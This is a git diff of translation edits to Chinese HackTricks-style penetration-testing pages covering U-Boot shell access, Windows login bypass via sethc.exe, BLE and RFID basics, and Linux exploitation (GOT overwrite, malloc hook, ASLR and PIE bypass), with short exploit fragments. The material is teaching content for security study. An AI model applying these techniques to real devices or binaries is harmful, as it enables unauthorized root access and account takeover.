 2. **修改引导参数**：
 
-- 执行以下命令将 '`init=/bin/sh`' 附加到引导参数，允许执行 shell 命令：
+- 执行以下命令将 '`init=/bin/sh`' 附加到引导参数中，以允许执行 Shell 命令：
 %%%
 #printenv
 #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@@ -25,10 +25,10 @@
 #saveenv
 #reset
 #ping 192.168.2.1 #检查网络访问
-#tftp ${loadaddr} uImage-3.6.35 #loadaddr 是加载文件的地址和 TFTP 服务器上映像的文件名
+#tftp ${loadaddr} uImage-3.6.35 #loadaddr 是加载文件的地址，uImage-3.6.35 是 TFTP 服务器上的映像文件名
 %%%
 
-4. **使用 `ubootwrite.py`**：
+4. **利用 `ubootwrite.py`**：
 
 - 使用 `ubootwrite.py` 写入 U-boot 映像并推送修改后的固件以获得 root 访问权限。
 
diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md
index f05fe3272..baf664796 100644
--- a/src/physical-attacks/physical-attacks.md
+++ b/src/physical-attacks/physical-attacks.md
@@ -26,7 +26,7 @@
 
 ### Live CD/USB 进行系统访问
 
-通过用 **_cmd.exe_** 的副本替换系统二进制文件，如 **_sethc.exe_** 或 **_Utilman.exe_**，可以提供具有系统权限的命令提示符。可以使用 **chntpw** 等工具编辑 Windows 安装的 **SAM** 文件，从而允许更改密码。
+更改系统二进制文件，如 **_sethc.exe_** 或 **_Utilman.exe_**，并用 **_cmd.exe_** 的副本替换，可以提供具有系统权限的命令提示符。可以使用像 **chntpw** 这样的工具编辑 Windows 安装的 **SAM** 文件，从而允许更改密码。
 
 **Kon-Boot** 是一个工具，可以在不知道密码的情况下登录 Windows 系统，通过临时修改 Windows 内核或 UEFI。更多信息可以在 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) 找到。
 
@@ -40,7 +40,7 @@
 
 #### BAD USB 设备
 
-像 **Rubber Ducky** 和 **Teensyduino** 这样的设备作为创建 **坏 USB** 设备的平台，能够在连接到目标计算机时执行预定义的有效载荷。
+像 **Rubber Ducky** 和 **Teensyduino** 这样的设备作为创建 **bad USB** 设备的平台，能够在连接到目标计算机时执行预定义的有效载荷。
 
 #### 卷影副本
 
@@ -48,7 +48,7 @@
 
 ### 绕过 BitLocker 加密
 
-如果在内存转储文件 (**MEMORY.DMP**) 中找到 **恢复密码**，则可能绕过 BitLocker 加密。可以使用像 **Elcomsoft Forensic Disk Decryptor** 或 **Passware Kit Forensic** 这样的工具来实现这一目的。
+如果在内存转储文件 (**MEMORY.DMP**) 中找到 **恢复密码**，则可能绕过 BitLocker 加密。可以使用像 **Elcomsoft Forensic Disk Decryptor** 或 **Passware Kit Forensic** 这样的工具来实现。
 
 ### 社会工程学用于恢复密钥添加
 
diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md
index 5203b42ea..141f5704c 100644
--- a/src/radio-hacking/low-power-wide-area-network.md
+++ b/src/radio-hacking/low-power-wide-area-network.md
@@ -5,7 +5,7 @@
 ## 介绍
 
 **低功耗广域网** (LPWAN) 是一组无线、低功耗、广域网技术，旨在实现**长距离通信**，并具有低比特率。\
-它们的通信距离超过**六英里**，其**电池**寿命可达**20年**。
+它们的通信距离可以超过**六英里**，其**电池**寿命可达**20年**。
 
 长距离 (**LoRa**) 在多个国家中很受欢迎，并具有一个名为 **LoRaWAN** 的开源规范。
 
diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
index 5cc737ed0..074bef539 100644
--- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+++ b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
@@ -2,7 +2,7 @@
 
 # 介绍
 
-自Bluetooth 4.0规范以来，BLE仅使用40个频道，覆盖2400到2483.5 MHz的范围。相比之下，传统蓝牙在同一范围内使用79个频道。
+自Bluetooth 4.0规范以来，BLE仅使用40个频道，覆盖2400到2483.5 MHz的范围。相比之下，传统蓝牙在相同范围内使用79个频道。
 
 BLE设备通过发送**广告数据包**（**信标**）进行通信，这些数据包向其他附近设备广播BLE设备的存在。这些信标有时也会**发送数据**。
 
@@ -14,7 +14,7 @@ BLE设备通过发送**广告数据包**（**信标**）进行通信，这些数
 
 ## GATT
 
-**通用属性配置文件**（GATT）定义了**设备应如何格式化和传输数据**。当您分析BLE设备的攻击面时，您通常会将注意力集中在GATT（或GATTs）上，因为它是**设备功能触发**和数据存储、分组和修改的方式。GATT以表格形式列出设备的特征、描述符和服务，值为16位或32位。**特征**是**在**中央设备和外围设备之间**发送**的数据值。这些特征可以具有**描述符**，以**提供有关它们的附加信息**。如果特征与执行特定操作相关，则通常在**服务**中**分组**这些**特征**。
+**通用属性配置文件**（GATT）定义了**设备应如何格式化和传输数据**。当您分析BLE设备的攻击面时，您通常会将注意力集中在GATT（或GATTs）上，因为它是**设备功能被触发**以及数据被存储、分组和修改的方式。GATT以表格形式列出设备的特征、描述符和服务，值为16位或32位。**特征**是**在**中央设备和外设之间**发送**的数据值。这些特征可以具有**描述符**，以**提供有关它们的附加信息**。如果特征与执行特定操作相关，**特征**通常会在**服务**中**分组**。
 
 # 枚举
 ```bash
diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md
index cba71f5cc..54e2913cb 100644
--- a/src/radio-hacking/pentesting-rfid.md
+++ b/src/radio-hacking/pentesting-rfid.md
@@ -6,16 +6,16 @@
 
 **射频识别 (RFID)** 是最流行的短距离无线解决方案。它通常用于存储和传输识别实体的信息。
 
-RFID 标签可以依赖于 **自身电源 (主动)**，例如嵌入式电池，或通过读取天线接收来自接收无线电波的电流 **供电 (被动)**。
+RFID 标签可以依赖于 **自身电源 (主动)**，例如嵌入式电池，或通过读取天线接收来自接收无线电波的电流 **（被动）**。
 
 ### Classes
 
-EPCglobal 将 RFID 标签分为六类。每个类别中的标签都具备前一类别中列出的所有功能，从而实现向后兼容。
+EPCglobal 将 RFID 标签分为六类。每个类别的标签都具备前一类别中列出的所有功能，从而实现向后兼容。
 
 - **Class 0** 标签是 **被动** 标签，工作在 **UHF** 频段。供应商在生产工厂 **预编程** 它们。因此，您 **无法更改** 存储在其内存中的信息。
 - **Class 1** 标签也可以在 **HF** 频段工作。此外，它们在生产后只能 **写入一次**。许多 Class 1 标签还可以处理接收到的命令的 **循环冗余检查** (CRCs)。CRC 是命令末尾的几个额外字节，用于错误检测。
 - **Class 2** 标签可以 **多次写入**。
-- **Class 3** 标签可以包含 **嵌入式传感器**，记录环境参数，例如当前温度或标签的运动。这些标签是 **半主动** 的，因为尽管它们 **具有** 嵌入式电源，例如集成 **电池**，但它们 **无法发起** 与其他标签或读取器的无线 **通信**。
+- **Class 3** 标签可以包含 **嵌入式传感器**，可以记录环境参数，例如当前温度或标签的运动。这些标签是 **半主动** 的，因为尽管它们 **具有** 嵌入式电源，例如集成 **电池**，但它们 **无法发起** 与其他标签或读取器的无线 **通信**。
 - **Class 4** 标签可以与同类的其他标签发起通信，使其成为 **主动标签**。
 - **Class 5** 标签可以为其他标签提供 **电源并与所有先前的标签** 类别进行通信。Class 5 标签可以充当 **RFID 读取器**。
 
@@ -23,7 +23,7 @@ EPCglobal 将 RFID 标签分为六类。每个类别中的标签都具备前一
 
 RFID 标签的内存通常存储四种数据：**识别数据**，用于 **识别** 标签所附着的 **实体**（这些数据包括用户定义的字段，例如银行账户）；**补充数据**，提供有关实体的 **进一步** **细节**；**控制数据**，用于标签的内部 **配置**；以及标签的 **制造商数据**，其中包含标签的唯一标识符 (**UID**) 以及有关标签的 **生产**、**类型** 和 **供应商** 的详细信息。您会在所有商业标签中找到前两种数据；后两种数据可能会根据标签的供应商而有所不同。
 
-ISO 标准规定了应用程序系列标识符 (**AFI**) 值，这是一个指示标签所属 **对象类型** 的代码。另一个由 ISO 规定的重要寄存器是数据存储格式标识符 (**DSFID**)，它定义了 **用户数据的逻辑组织**。
+ISO 标准规定了应用程序系列标识符 (**AFI**) 值，这是一个指示标签所属 **对象类型** 的代码。另一个重要的寄存器，也是由 ISO 规定的，是数据存储格式标识符 (**DSFID**)，它定义了 **用户数据的逻辑组织**。
 
 大多数 RFID **安全控制** 具有机制，**限制** 每个用户内存块以及包含 AFI 和 DSFID 值的特殊寄存器上的 **读取** 或 **写入** 操作。这些 **锁定** **机制** 使用存储在控制内存中的数据，并具有供应商预配置的 **默认密码**，但允许标签所有者 **配置自定义密码**。
 
@@ -44,10 +44,10 @@ ISO 标准规定了应用程序系列标识符 (**AFI**) 值，这是一个指
 **流行的 125 kHz 协议：**
 
 - **EM-Marin** — EM4100，EM4102。CIS 中最流行的协议。由于其简单性和稳定性，可以在约一米的距离内读取。
-- **HID Prox II** — HID Global 引入的低频协议。该协议在西方国家更为流行。它更复杂，且该协议的卡和读取器相对昂贵。
+- **HID Prox II** — HID Global 引入的低频协议。这个协议在西方国家更为流行。它更复杂，且该协议的卡和读取器相对昂贵。
 - **Indala** — 由摩托罗拉引入的非常古老的低频协议，后来被 HID 收购。与前两者相比，您在野外遇到它的可能性较小，因为它正在逐渐被淘汰。
 
-实际上，还有更多低频协议。但它们都在物理层上使用相同的调制方式，并且可以被视为上述协议的某种变体。
+实际上，还有更多低频协议。但它们都在物理层上使用相同的调制方式，可以被视为上述协议的某种变体。
 
 ### Attack
 
@@ -62,15 +62,15 @@ ISO 标准规定了应用程序系列标识符 (**AFI**) 值，这是一个指
 **高频标签** 用于更复杂的读取器-标签交互，当您需要加密、大量双向数据传输、身份验证等时。\
 它通常出现在银行卡、公共交通和其他安全通行证中。
 
-**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)，但这并不总是正确。物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准（如 ISO 19092）基于此。许多人将此技术称为 **近场通信 (NFC)**，这是指在 13.56 MHz 频率上运行的设备。
+**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)，但这并不总是正确。物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准（如 ISO 19092）都是基于它的。许多人将这项技术称为 **近场通信 (NFC)**，这是一个用于在 13.56 MHz 频率上运行的设备的术语。
 
 <figure><img src="../images/image (22).png" alt=""><figcaption></figcaption></figure>
 
-简单来说，NFC 的架构是这样的：传输协议由制造卡片的公司选择，并基于低级 ISO 14443 实现。例如，NXP 发明了自己的高级传输协议，称为 Mifare。但在较低层面上，Mifare 卡基于 ISO 14443-A 标准。
+简单来说，NFC 的架构是这样的：传输协议由制造卡片的公司选择，并基于低级 ISO 14443 实现。例如，NXP 发明了自己的高级传输协议，称为 Mifare。但在较低层面上，Mifare 卡是基于 ISO 14443-A 标准的。
 
 Flipper 可以与低级 ISO 14443 协议以及 Mifare Ultralight 数据传输协议和用于银行卡的 EMV 进行交互。我们正在努力添加对 Mifare Classic 和 NFC NDEF 的支持。深入研究构成 NFC 的协议和标准值得单独撰写一篇文章，我们计划稍后发布。
 
-所有基于 ISO 14443-A 标准的高频卡都有一个唯一的芯片 ID。它充当卡的序列号，类似于网络卡的 MAC 地址。**通常，UID 长度为 4 或 7 字节**，但很少可以 **达到 10**。UID 不是秘密，且易于读取，**有时甚至印在卡片上**。
+所有基于 ISO 14443-A 标准的高频卡都有一个唯一的芯片 ID。它充当卡的序列号，类似于网络卡的 MAC 地址。**通常，UID 长度为 4 或 7 字节**，但很少可以 **达到 10**。UID 不是秘密，且很容易读取，**有时甚至印在卡片上**。
 
 有许多访问控制系统依赖 UID 来 **进行身份验证和授予访问**。有时即使 RFID 标签 **支持加密**，这也会发生。这种 **误用** 使它们在 **安全性** 上降至愚蠢的 **125 kHz 卡** 的水平。虚拟卡（如 Apple Pay）使用动态 UID，以便手机用户不会用他们的支付应用打开门。
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index 81640be35..dcbb82f21 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -4,7 +4,7 @@
 
 ## **Malloc Hook**
 
-正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的，变量 **`__malloc_hook`** 是一个指针，指向 **一个将在每次调用 `malloc()` 时被调用的函数的地址**，该地址 **存储在 libc 库的数据段中**。因此，如果这个地址被覆盖为一个 **One Gadget**，例如，当调用 `malloc` 时，**One Gadget 将被调用**。
+正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的，变量 **`__malloc_hook`** 是一个指针，指向 **一个将在每次调用 `malloc()` 时被调用的函数的地址**，该地址存储在 libc 库的数据段中。因此，如果这个地址被覆盖为一个 **One Gadget**，例如，当调用 `malloc` 时，**One Gadget 将被调用**。
 
 调用 malloc 的方法可以是等待程序调用它，或者通过 **调用 `printf("%10000$c")`**，这会分配过多的字节，使得 `libc` 调用 malloc 在堆中分配它们。
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
index 2fc8570aa..b4f1c6a41 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -12,7 +12,7 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
 
 ### **PLT: 过程链接表**
 
-**过程链接表 (PLT)** 与 GOT 密切合作，作为处理对外部函数调用的跳板。当二进制文件**第一次调用外部函数时，控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址，如果它尚未被解析。地址解析后，会存储在 GOT 中。
+**过程链接表 (PLT)** 与 GOT 密切合作，作为处理对外部函数调用的跳板。当二进制文件**第一次调用外部函数时，控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址，如果它尚未被解析。地址解析后，它会存储在 GOT 中。
 
 **因此，** 一旦外部函数或变量的地址被解析，GOT 条目就会被直接使用。**PLT 条目用于通过动态链接器促进这些地址的初始解析。**
 
@@ -28,15 +28,15 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
 
 ![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
 
-使用 GEF，您可以**开始**一个**调试**会话并执行**`got`**以查看 GOT 表：
+使用 GEF，您可以**开始**一个**调试**会话并执行**`got`**以查看 got 表：
 
 ![](<../../../images/image (621).png>)
 
 ### GOT2Exec
 
-在二进制文件中，GOT 包含**函数的地址或**指向将加载函数地址的**PLT**部分。此任意写入的目标是**覆盖一个将要执行的函数的 GOT 条目**，例如用**`system`** **函数的 PLT 地址**。
+在二进制文件中，GOT 包含**函数的地址或**指向将加载函数地址的**PLT**部分。此任意写入的目标是**覆盖一个将要被执行的函数的 GOT 条目**，例如用**`system`** **函数**的**PLT**地址。
 
-理想情况下，您将**覆盖**一个**将被您控制的参数调用的函数的 GOT**（这样您就可以控制发送给系统函数的参数）。
+理想情况下，您将**覆盖**一个**将被调用并由您控制参数的函数**（这样您就可以控制发送给系统函数的参数）。
 
 如果脚本中**未使用**`system`，则系统函数在 PLT 中**不会**有条目。在这种情况下，您需要**首先泄漏 `system` 函数的地址**，然后覆盖 GOT 以指向该地址。
 
@@ -50,7 +50,7 @@ GOT 中的每个条目对应于二进制文件可能调用的外部库中的一
 
 ## **保护措施**
 
-**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在此之后使**GOT 表只读**来防止这种技术：
+**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在之后使**GOT 表只读**来防止这种技术：
 
 {{#ref}}
 ../common-binary-protections-and-bypasses/relro.md
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
index 2f9f2ba41..00c248a61 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md
@@ -33,9 +33,9 @@ Contents of section .fini_array:
 
 #Put your address in 0x8049934
 ```
-请注意，这 **不会** **创建** 一个 **永恒循环**，因为当你返回到主函数时，canary 会注意到，栈的末尾可能已被破坏，函数将不会再次被调用。因此，通过这个，你将能够 **再执行 1 次** 漏洞。
+注意，这**不会****创建**一个**永恒循环**，因为当你返回到主函数时，canary 会注意到，栈的末尾可能已被破坏，函数将不会再次被调用。因此，通过这个，你将能够**再执行一次**漏洞。
 
 > [!CAUTION]
-> 请注意，使用 [Full RELRO](../common-binary-protections-and-bypasses/relro.md) 时，`.fini_array` 部分是 **只读** 的。
+> 请注意，使用 [Full RELRO](../common-binary-protections-and-bypasses/relro.md) 时，`.fini_array` 部分被设置为**只读**。
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
index 00103648f..fe59561fa 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md
@@ -10,11 +10,11 @@
 
 默认情况下，许多系统将核心文件的大小限制为 0（即不生成核心文件）以节省磁盘空间。要启用核心文件的生成，可以使用 `ulimit` 命令（在 bash 或类似的 shell 中）或配置系统范围的设置。
 
-- **使用 ulimit**：命令 `ulimit -c unlimited` 允许当前 shell 会话创建无限大小的核心文件。这对于调试会话很有用，但在重启或新会话中不会持久化。
+- **使用 ulimit**：命令 `ulimit -c unlimited` 允许当前 shell 会话创建无限大小的核心文件。这对于调试会话非常有用，但在重启或新会话中不会持久化。
 ```bash
 ulimit -c unlimited
 ```
-- **持久配置**：为了更永久的解决方案，您可以编辑 `/etc/security/limits.conf` 文件，添加一行如 `* soft core unlimited`，这允许所有用户生成无限大小的核心文件，而无需在他们的会话中手动设置 ulimit。
+- **持久配置**: 对于更永久的解决方案，您可以编辑 `/etc/security/limits.conf` 文件，添加一行 `* soft core unlimited`，这允许所有用户生成无限大小的核心文件，而无需在他们的会话中手动设置 ulimit。
 ```markdown
 - soft core unlimited
 ```
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
index 9f3ac51c1..564c63a91 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
@@ -20,7 +20,7 @@ cat /proc/sys/kernel/randomize_va_space
 ```
 ### **禁用 ASLR**
 
-要 **禁用** ASLR，您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外，通常不建议禁用 ASLR。以下是禁用它的方法：
+要**禁用** ASLR，您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。在测试或调试场景之外，通常不建议禁用 ASLR。以下是禁用它的方法：
 ```bash
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
@@ -55,46 +55,46 @@ sudo sysctl -p
 
 PaX 将进程地址空间分为 **3 组**：
 
-- **代码和数据**（已初始化和未初始化）：`.text`、`.data` 和 `.bss` —> `delta_exec` 变量中的 **16 位** 熵。该变量在每个进程中随机初始化，并添加到初始地址中。
+- **代码和数据**（已初始化和未初始化）：`.text`、`.data` 和 `.bss` —> `delta_exec` 变量中的 **16 位** 熵。该变量在每个进程中随机初始化，并添加到初始地址。
 - **通过 `mmap()` 分配的内存** 和 **共享库** —> **16 位**，称为 `delta_mmap`。
 - **栈** —> **24 位**，称为 `delta_stack`。然而，它实际上使用 **11 位**（从第 10 字节到第 20 字节，包括），对齐到 **16 字节** —> 这导致 **524,288 个可能的真实栈地址**。
 
-上述数据适用于 32 位系统，减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能，直到漏洞成功完成。
+上述数据适用于 32 位系统，减少的最终熵使得通过一次又一次重试执行来绕过 ASLR 成为可能，直到利用成功完成。
 
 #### 暴力破解思路：
 
 - 如果您有足够大的溢出以容纳 **大 NOP 滑梯在 shellcode 之前**，您可以在栈中暴力破解地址，直到流程 **跳过 NOP 滑梯的某部分**。
-- 如果溢出不那么大，并且漏洞可以在本地运行，另一种选择是 **在环境变量中添加 NOP 滑梯和 shellcode**。
-- 如果漏洞是本地的，您可以尝试暴力破解 libc 的基地址（对 32 位系统有用）：
+- 如果溢出不大，并且利用可以在本地运行，另一种选择是 **在环境变量中添加 NOP 滑梯和 shellcode**。
+- 如果利用是本地的，您可以尝试暴力破解 libc 的基地址（对 32 位系统有用）：
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
 ```
-- 如果攻击一个远程服务器，你可以尝试**暴力破解 `libc` 函数 `usleep` 的地址**，传递参数 10（例如）。如果在某个时刻**服务器响应多了 10 秒**，你就找到了这个函数的地址。
+- 如果攻击一个远程服务器，你可以尝试**暴力破解`libc`函数`usleep`的地址**，传递参数10（例如）。如果在某个时刻**服务器响应多了10秒**，你就找到了这个函数的地址。
 
 > [!TIP]
-> 在 64 位系统中，熵要高得多，这样是不可能的。
+> 在64位系统中，熵要高得多，这样是不可能的。
 
 ### 本地信息 (`/proc/[pid]/stat`)
 
 进程的**`/proc/[pid]/stat`**文件始终对所有人可读，并且**包含有趣的**信息，例如：
 
-- **startcode** & **endcode**：二进制文件的**TEXT**上下的地址
-- **startstack**：**栈**的起始地址
-- **start_data** & **end_data**：**BSS**上下的地址
+- **startcode** & **endcode**：二进制文件**TEXT**的上方和下方的地址
+- **startstack**：**stack**的起始地址
+- **start_data** & **end_data**：**BSS**的上方和下方的地址
 - **kstkesp** & **kstkeip**：当前的**ESP**和**EIP**地址
-- **arg_start** & **arg_end**：**cli 参数**上下的地址
-- **env_start** & **env_end**：**env 变量**上下的地址
+- **arg_start** & **arg_end**：**cli arguments**的上方和下方的地址
+- **env_start** & **env_end**：**env variables**的上方和下方的地址
 
 因此，如果攻击者与被利用的二进制文件在同一台计算机上，并且该二进制文件不期望来自原始参数的溢出，而是来自读取此文件后可以构造的不同**输入**。攻击者可以**从此文件中获取一些地址并从中构造偏移量以进行利用**。
 
 > [!TIP]
-> 有关此文件的更多信息，请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)，搜索 `/proc/pid/stat`
+> 有关此文件的更多信息，请查看[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)，搜索`/proc/pid/stat`
 
 ### 拥有一个泄漏
 
 - **挑战是给出一个泄漏**
 
-如果你得到了一个泄漏（简单的 CTF 挑战），你可以从中计算偏移量（假设例如你知道你正在利用的系统中使用的确切 libc 版本）。这个示例利用提取自 [**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)（查看该页面以获取更多详细信息）：
+如果你得到了一个泄漏（简单的CTF挑战），你可以从中计算偏移量（假设例如你知道你正在利用的系统中使用的确切libc版本）。这个示例利用提取自[**这里的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)（查看该页面以获取更多详细信息）：
 ```python
 from pwn import *
 
@@ -129,7 +129,7 @@ ret2plt.md
 
 - **格式字符串任意读取**
 
-就像在 ret2plt 中一样，如果通过格式字符串漏洞有任意读取的能力，可以从 GOT 中提取 **libc 函数** 的地址。以下 [**示例来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)：
+就像在 ret2plt 中一样，如果通过格式字符串漏洞有任意读取的能力，可以从 GOT 中提取 **libc 函数** 的地址。以下 [**示例来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
 ```python
 payload = p32(elf.got['puts'])  # p64() if 64-bit
 payload += b'|'
@@ -148,7 +148,7 @@ payload += p32(elf.symbols['main'])
 
 ### Ret2ret & Ret2pop
 
-尝试通过滥用栈内的地址来绕过 ASLR：
+尝试通过利用栈内的地址来绕过 ASLR：
 
 {{#ref}}
 ../../stack-overflow/ret2ret.md
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
index 4c2f08169..869a33ca7 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
@@ -30,7 +30,7 @@ elf.symbols['main']
 还要注意如何在利用中使用了 `main` 的地址，以便当 `puts` 结束其执行时，**二进制文件会再次调用 `main` 而不是退出**（因此泄露的地址将继续有效）。
 
 > [!CAUTION]
-> 注意，为了使这项工作正常，**二进制文件不能使用 PIE 编译**，或者你必须 **找到一个泄露以绕过 PIE**，以便知道 PLT、GOT 和 `main` 的地址。否则，你需要先绕过 PIE。
+> 注意，为了使这项工作，**二进制文件不能使用 PIE 编译**，或者你必须 **找到一个泄露以绕过 PIE**，以便知道 PLT、GOT 和 `main` 的地址。否则，你需要先绕过 PIE。
 
 你可以在 [**这里找到这个绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该示例的最终利用：
 ```python
@@ -71,8 +71,8 @@ p.interactive()
 ## 其他示例与参考
 
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 位，启用 ASLR，但没有 PIE，第一步是填充溢出直到 canary 的字节 0x00，然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址，然后再调用 `system('/bin/sh')` 的 ROP gadget。
+- 64 位，启用 ASLR 但没有 PIE，第一步是填充溢出直到 canary 的字节 0x00，然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址，然后再调用 `system('/bin/sh')` 的 ROP gadget。
 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
-- 64 位，启用 ASLR，没有 canary，主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址，然后调用一个 gadget。
+- 64 位，启用 ASLR，没有 canary，来自子函数的主函数中的栈溢出。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址，然后调用一个 gadget。
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
index 9248f8c6c..e2c05b4b3 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md
@@ -6,24 +6,24 @@
 
 编译为 PIE（**位置无关可执行文件**）的二进制文件意味着 **程序每次执行时可以加载到不同的内存位置**，防止硬编码地址。
 
-利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE，您只需泄露一个地址**，通常通过格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址，您可以通过它们的 **固定偏移量** 计算其他地址。
+利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE，您只需泄露一个地址**，通常通过格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址，您可以通过其 **固定偏移量** 计算其他地址。
 
-在利用 PIE 二进制文件时，一个有用的提示是它们的 **基地址通常以 000 结尾**，因为内存页是随机化的单位，大小为 0x1000 字节。如果一个漏洞没有按预期工作，这种对齐可以是一个关键的 **检查**，指示是否已识别正确的基地址。\
